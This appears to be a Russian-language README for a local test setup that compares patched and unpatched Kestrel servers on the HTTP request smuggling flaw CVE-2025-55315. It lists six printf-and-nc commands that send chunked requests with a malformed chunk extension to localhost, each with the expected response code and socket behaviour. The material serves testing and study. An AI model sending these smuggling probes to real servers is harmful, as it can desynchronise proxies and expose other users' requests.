
Игровая площадка для экспериментов с различным поведением на пропатченном/непропатченном Kestrel для уязвимости HTTP smuggling CVE-2025-55315
Вот некоторые тесты, которые можно выполнить против этих сервисов, чтобы наблюдать различное поведение на маршрутах GET/POST между пропатченной и непропатченной версиями Kestrel.
GET против непропатченной версии (отправляет 200, и сокет остаётся открытым)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
GET против пропатченной версии (отправляет 200, и сокет закрывается)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST без обязательного CT против непропатченной версии (отправляет 200, и сокет остаётся открытым)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST без обязательного CT против пропатченной версии (отправляет 400, и сокет закрывается (процесс также выбрасывает обработанное исключение о Bad chunk extension))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST с обязательным CT против непропатченной версии (отправляет 415, и сокет остаётся открытым)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST с обязательным CT против пропатченной версии (отправляет 415, и сокет закрывается)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001